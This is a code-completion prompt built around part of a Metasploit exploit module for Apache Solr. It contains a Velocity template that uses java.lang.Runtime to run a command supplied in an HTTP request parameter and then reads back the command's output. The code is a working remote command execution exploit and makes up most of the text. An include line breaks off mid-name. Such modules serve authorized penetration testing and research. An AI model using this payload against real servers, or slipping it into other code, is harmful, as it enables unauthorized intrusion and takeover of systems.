You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: solr_velocity_rce.rb
    path of file: ./repos/metasploit-framework/modules/exploits/multi/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpClient

  include Msf::Exploit::Remote::Java::
    
  def execute_command(cmd, opts = {})
    # custom template which enables command execution
    template = %q{
      #set($c = $request.getParams().get("c"))
      #set($x="")
      #set($rt=$x.class.forName("java.lang.Runtime"))
      #set($ex=$rt.getRuntime().exec($c))
    }

    # the next 2 lines cause problems with CmdStager, so it's only used when needed
    # during the check for PowerShell existence, or by specific payloads
    if opts['winenv_check'] || target['Type'] == :windows_exec || target['Type'] == :unix_memory
      template += <<~VELOCITY
        #set($a=$ex.waitFor())
        #set($out=$ex.getInputStream())
        #if($out.available() > 0)
          #set($chr=$x.class.forName("java.lang.Character"))
          #set($str=$x.class.forName("java.lang.String"))
          #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
        #end
      VELOCITY
    end